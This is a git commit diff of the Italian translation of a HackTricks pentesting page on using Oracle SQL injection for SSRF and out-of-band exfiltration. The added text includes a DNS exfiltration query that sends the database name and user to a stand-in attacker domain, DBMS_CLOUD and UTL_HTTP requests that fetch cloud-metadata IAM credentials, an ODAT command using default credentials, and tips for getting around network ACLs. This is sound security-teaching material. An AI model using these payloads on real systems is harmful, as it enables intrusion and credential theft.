Translated ['src/pentesting-web/sql-injection/oracle-injection.md'] to i

This commit is contained in:
Translator 2025-08-20 00:34:59 +00:00
parent 42c098b1b1
commit fc7def0f1b

View File

@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
**Serve questo post una copia della macchina del tempo del post eliminato da [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
**Servire questo post una copia della macchina del tempo del post eliminato da [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
## SSRF
Utilizzare Oracle per effettuare richieste HTTP e DNS Out of Band è ben documentato, ma come mezzo per esfiltrare dati SQL nelle iniezioni. Possiamo sempre modificare queste tecniche/funzioni per fare altre SSRF/XSPA.
Installare Oracle può essere davvero doloroso, specialmente se vuoi impostare un'istanza rapida per provare comandi. Il mio amico e collega di [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), mi ha indicato [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) che mi ha permesso di impostare un'istanza su una macchina AWS Ubuntu t2.large e Docker.
Installare Oracle può essere davvero doloroso, specialmente se si desidera impostare un'istanza rapida per provare comandi. Il mio amico e collega di [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), mi ha indicato [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) che mi ha permesso di configurare un'istanza su una macchina AWS Ubuntu t2.large e Docker.
Ho eseguito il comando docker con il flag `--network="host"` in modo da poter mimare Oracle come un'installazione nativa con accesso completo alla rete, per la durata di questo blogpost.
Ho eseguito il comando docker con il flag `--network="host"` in modo da poter imitare Oracle come un'installazione nativa con accesso completo alla rete, per il corso di questo blogpost.
```
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
```
@ -82,7 +82,7 @@ Un `ORA-29276: transfer timeout` indica che la porta è aperta ma non è stata s
**UTL_TCP**
Il pacchetto `UTL_TCP` e le sue procedure e funzioni consentono la [comunicazione basata su TCP/IP con i servizi](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Se programmato per un servizio specifico, questo pacchetto può facilmente diventare un modo per accedere alla rete o eseguire richieste complete lato server, poiché tutti gli aspetti di una connessione TCP/IP possono essere controllati.
Il pacchetto `UTL_TCP` e le sue procedure e funzioni consentono [comunicazioni basate su TCP/IP con i servizi](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Se programmato per un servizio specifico, questo pacchetto può facilmente diventare un modo per accedere alla rete o eseguire richieste complete lato server, poiché tutti gli aspetti di una connessione TCP/IP possono essere controllati.
L'esempio [sul sito della documentazione Oracle mostra come puoi utilizzare questo pacchetto per stabilire una connessione TCP raw per recuperare una pagina web](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Possiamo semplificarlo ulteriormente e usarlo per effettuare richieste all'istanza dei metadati, ad esempio, o a un servizio TCP/IP arbitrario.
```
@ -124,11 +124,11 @@ END;
utl_tcp.close_connection(c);
END;
```
Interessantemente, grazie alla capacità di creare richieste TCP raw, questo pacchetto può essere utilizzato anche per interrogare il servizio di meta-dati dell'istanza di tutti i fornitori di cloud poiché il tipo di metodo e gli header aggiuntivi possono essere tutti passati all'interno della richiesta TCP.
Interessantemente, grazie alla capacità di creare richieste TCP raw, questo pacchetto può essere utilizzato anche per interrogare il servizio di meta-dati dell'istanza di tutti i fornitori di cloud poiché il tipo di metodo e le intestazioni aggiuntive possono essere tutte passate all'interno della richiesta TCP.
**UTL_HTTP e Richieste Web**
Forse la tecnica più comune e ampiamente documentata in ogni tutorial di Oracle SQL Injection Out of Band è il [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Questo pacchetto è definito dalla documentazione come - `Il pacchetto UTL_HTTP effettua chiamate al Protocollo di Trasferimento Ipertestuale (HTTP) da SQL e PL/SQL. Puoi usarlo per accedere ai dati su Internet tramite HTTP.`
Forse la tecnica più comune e ampiamente documentata in ogni tutorial di Out of Band Oracle SQL Injection è il [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Questo pacchetto è definito dalla documentazione come - `Il pacchetto UTL_HTTP effettua chiamate Hypertext Transfer Protocol (HTTP) da SQL e PL/SQL. Puoi usarlo per accedere ai dati su Internet tramite HTTP.`
```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
```
@ -140,6 +140,89 @@ select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
```
Un `ORA-12541: TNS:no listener` o un `TNS:operation timed out` è un segno che la porta TCP è chiusa, mentre un `ORA-29263: HTTP protocol error` o dati sono un segno che la porta è aperta.
Un altro pacchetto che ho utilizzato in passato con successo variabile è il [`GETCLOB()` method of the `HTTPURITYPE` Oracle abstract type](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) che consente di interagire con un URL e fornisce supporto per il protocollo HTTP. Il metodo `GETCLOB()` viene utilizzato per recuperare la risposta GET da un URL come un [CLOB data type.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
Un altro pacchetto che ho utilizzato in passato con successo variabile è il [`GETCLOB()` method of the `HTTPURITYPE` Oracle abstract type](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) che consente di interagire con un URL e fornisce supporto per il protocollo HTTP. Il metodo `GETCLOB()` viene utilizzato per recuperare la risposta GET da un URL come un [CLOB data type.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)
```
SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual;
```
---
## Pacchetti e Tecniche Aggiuntive (Oracle 19c → 23c)
### UTL_INADDR esfiltrazione basata su DNS e scoperta di host
`UTL_INADDR` espone semplici helper per la risoluzione dei nomi che attivano una ricerca DNS in uscita dall'host del database. Poiché è richiesto solo un dominio (non è necessario alcun porto/ACL), è un primitivo affidabile per l'esfiltrazione cieca quando altre chiamate di rete sono bloccate.
```sql
-- Leak the DB name and current user via a DNS query handled by Burp Collaborator
SELECT UTL_INADDR.get_host_address(
(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)||
'.attacker.oob.server') FROM dual;
```
`get_host_address()` restituisce l'IP risolto (o solleva `ORA-29257` se la risoluzione fallisce). L'attaccante deve solo monitorare la richiesta DNS in arrivo sul dominio controllato per confermare l'esecuzione del codice.
### DBMS_CLOUD.SEND_REQUEST client HTTP completo su Autonomous/23c
Le recenti edizioni centrate sul cloud (Autonomous Database, 21c/23c, 23ai) vengono fornite con `DBMS_CLOUD`. La funzione `SEND_REQUEST` funge da client HTTP di uso generale che supporta verbi, intestazioni, TLS e corpi di grandi dimensioni personalizzati, rendendola molto più potente rispetto al classico `UTL_HTTP`.
```sql
-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges
BEGIN
-- empty credential when no auth is required
DBMS_CLOUD.create_credential(
credential_name => 'NOAUTH',
username => 'ignored',
password => 'ignored');
END;
/
DECLARE
resp DBMS_CLOUD_TYPES.resp;
BEGIN
resp := DBMS_CLOUD.send_request(
credential_name => 'NOAUTH',
uri => 'http://169.254.169.254/latest/meta-data/',
method => 'GET',
timeout => 3);
dbms_output.put_line(DBMS_CLOUD.get_response_text(resp));
END;
/
```
Perché `SEND_REQUEST` consente URI di destinazione arbitrari, può essere abusato tramite SQLi per:
1. Scansione delle porte interne / SSRF ai servizi di metadati cloud.
2. Esfiltrazione out-of-band su HTTPS (usa Burp Collaborator o un tunnel `ngrok`).
3. Callback ai server dell'attaccante anche quando i pacchetti di chiamata più vecchi sono disabilitati dalle ACL.
Se hai solo un classico on-prem 19c ma puoi creare procedure memorizzate Java, a volte puoi installare `DBMS_CLOUD` dal pacchetto client OCI — utile in alcuni incarichi.
### Automatizzare la superficie di attacco con **ODAT**
[ODAT Oracle Database Attacking Tool](https://github.com/quentinhardy/odat) ha tenuto il passo con le versioni moderne (testato fino a 19c, 5.1.1 Apr-2022). I moduli `utl_http`, `utl_tcp`, `httpuritype` e il più recente `dbms_cloud` automaticamente:
* Rilevano pacchetti di chiamata/assegnazioni ACL utilizzabili.
* Attivano callback DNS & HTTP per estrazione cieca.
* Generano payload SQL pronti da copiare per Burp/SQLMap.
Esempio: controllo OOB rapido con credenziali predefinite (si occupa dell'enumerazione delle ACL in background):
```bash
odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob
```
### Recent network ACL restrictions & bypasses
Oracle ha inasprito le ACL di rete predefinite nel CPU di luglio 2023 — gli account non privilegiati ora ricevono `ORA-24247: network access denied by access control list` per impostazione predefinita. Due schemi consentono ancora le chiamate tramite SQLi:
1. L'account target possiede un'entrata ACL (`DBMS_NETWORK_ACL_ADMIN.create_acl`) che è stata aggiunta da uno sviluppatore per integrazioni.
2. L'attaccante sfrutta una routine con diritti di definizione PL/SQL ad alta privilegio (ad es. in un'applicazione personalizzata) che *ha già* `AUTHID DEFINER` e le autorizzazioni necessarie.
Se incontri `ORA-24247` durante lo sfruttamento, cerca sempre procedure riutilizzabili:
```sql
SELECT owner, object_name
FROM dba_objects
WHERE object_type = 'PROCEDURE'
AND authid = 'DEFINER';
```
(in molte audit almeno una procedura di reporting/esportazione aveva i diritti necessari).
---
## Riferimenti
* Oracle Docs descrizione e esempi del pacchetto `DBMS_CLOUD.SEND_REQUEST`.
* quentinhardy/odat Strumento di attacco per Oracle Database (ultima versione 5.1.1, Apr-2022).
{{#include ../../banners/hacktricks-training.md}}